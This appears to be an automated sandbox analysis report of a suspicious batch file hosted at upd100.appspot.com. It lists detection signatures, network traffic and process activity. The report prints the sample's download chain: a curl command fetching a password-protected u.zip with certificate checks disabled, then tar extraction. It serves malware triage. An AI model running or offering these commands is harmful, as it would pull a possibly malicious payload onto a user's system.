Windows Analysis Report
https://upd100.appspot.com/update/u.bat

Overview

General Information

Sample URL: https://upd100.appspot.com/update/u.bat
Analysis ID: 1431818
Infos:

Detection

Score: 48
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Drops password protected ZIP file
Self deletion via cmd or bat file
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Usage Of Web Request Commands And Cmdlets
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Source: unknown HTTPS traffic detected: 142.250.9.153:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.9.153:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /update/u.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like GeckoAccept: */*Accept-Encoding: identityHost: upd100.appspot.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /update/u.zip HTTP/1.1Host: upd100.appspot.comUser-Agent: curl/7.83.1Accept: */*
Source: global traffic DNS traffic detected: DNS query: upd100.appspot.com
Source: wget.exe, 00000002.00000002.2091478026.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, cmdline.out.0.dr String found in binary or memory: https://upd100.appspot.com/update/u.bat
Source: wget.exe, 00000002.00000003.2090898422.000000000106A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.2091380848.000000000106D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://upd100.appspot.com/update/u.batG
Source: wget.exe, 00000002.00000002.2091478026.00000000011A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://upd100.appspot.com/update/u.bater
Source: wget.exe, 00000002.00000003.2090898422.000000000106A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.2091380848.000000000106D000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.2090792161.000000000109F000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.2090735516.0000000001096000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.2090811644.000000000109E000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.2090735516.000000000109E000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.2090811644.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.2122019830.000002831228C000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.2122221368.000002831225B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.2122221368.0000028312250000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.2122330749.000002831228D000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.2122221368.0000028312257000.00000004.00000020.00020000.00000000.sdmp, u.bat.2.dr String found in binary or memory: https://upd100.appspot.com/update/u.zip
Source: curl.exe, 00000006.00000002.2122221368.000002831225B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://upd100.appspot.com/update/u.zipO
Source: curl.exe, 00000006.00000002.2122221368.0000028312257000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://upd100.appspot.com/update/u.zipRmWO
Source: curl.exe, 00000006.00000002.2122221368.0000028312250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://upd100.appspot.com/update/u.zipWinsta0
Source: curl.exe, 00000006.00000002.2122221368.0000028312250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://upd100.appspot.com/update/u.zipcurl
Source: curl.exe, 00000006.00000002.2122221368.000002831225B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://upd100.appspot.com/update/u.zipu
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown HTTPS traffic detected: 142.250.9.153:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.9.153:443 -> 192.168.2.6:49714 version: TLS 1.2

System Summary
barindex
Drops password protected ZIP file
Source: u.zip.6.dr Zip Entry: encrypted
Source: classification engine Classification label: mal48.win@10/5@1/2
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\Desktop\cmdline.out Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2488:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1208:120:WilError_03
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://upd100.appspot.com/update/u.bat" > cmdline.out 2>&1
Source: C:\Windows\SysWOW64\wget.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://upd100.appspot.com/update/u.bat" > cmdline.out 2>&1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://upd100.appspot.com/update/u.bat"
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\download\u.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -o u.zip --insecure https://upd100.appspot.com/update/u.zip
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tar.exe tar xf u.zip
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://upd100.appspot.com/update/u.bat" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -o u.zip --insecure https://upd100.appspot.com/update/u.zip Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tar.exe tar xf u.zip Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\tar.exe Section loaded: archiveint.dll Jump to behavior
Source: C:\Windows\System32\tar.exe Section loaded: cryptsp.dll Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Self deletion via cmd or bat file
Source: C:\Windows\SysWOW64\wget.exe File created: C:\Users\user\Desktop\download\u.bat Jump to dropped file
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: wget.exe, 00000002.00000002.2091291453.0000000000B68000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000006.00000003.2122058938.0000028312267000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllAA
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -o u.zip --insecure https://upd100.appspot.com/update/u.zip Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tar.exe tar xf u.zip Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c wget -t 2 -v -t 60 -p "c:\users\user\desktop\download" --no-check-certificate --content-disposition --user-agent="mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko" "https://upd100.appspot.com/update/u.bat" > cmdline.out 2>&1
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\wget.exe Queries volume information: C:\Users\user\Desktop\download VolumeInformation Jump to behavior
Source: C:\Windows\System32\tar.exe Queries volume information: C:\Users\user\Desktop\download\u.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\tar.exe Queries volume information: C:\Users VolumeInformation Jump to behavior
Source: C:\Windows\System32\tar.exe Queries volume information: C:\Users\user\Desktop VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1431818 URL: https://upd100.appspot.com/... Startdate: 25/04/2024 Architecture: WINDOWS Score: 48 26 upd100.appspot.com 2->26 32 Drops password protected ZIP file 2->32 7 cmd.exe 2 2->7         started        9 cmd.exe 1 2->9         started        signatures3 process4 process5 11 wget.exe 2 7->11         started        16 conhost.exe 7->16         started        18 curl.exe 2 9->18         started        20 conhost.exe 9->20         started        22 tar.exe 2 9->22         started        dnsIp6 28 upd100.appspot.com 142.250.9.153, 443, 49711, 49714 GOOGLEUS United States 11->28 24 C:\Users\user\Desktop\download\u.bat, DOS 11->24 dropped 34 Self deletion via cmd or bat file 11->34 30 127.0.0.1 unknown unknown 18->30 file7 signatures8
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.9.153
 upd100.appspot.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
upd100.appspot.com 142.250.9.153 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://upd100.appspot.com/update/u.bat false
    		unknown
    https://upd100.appspot.com/update/u.zip false
    • 2%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown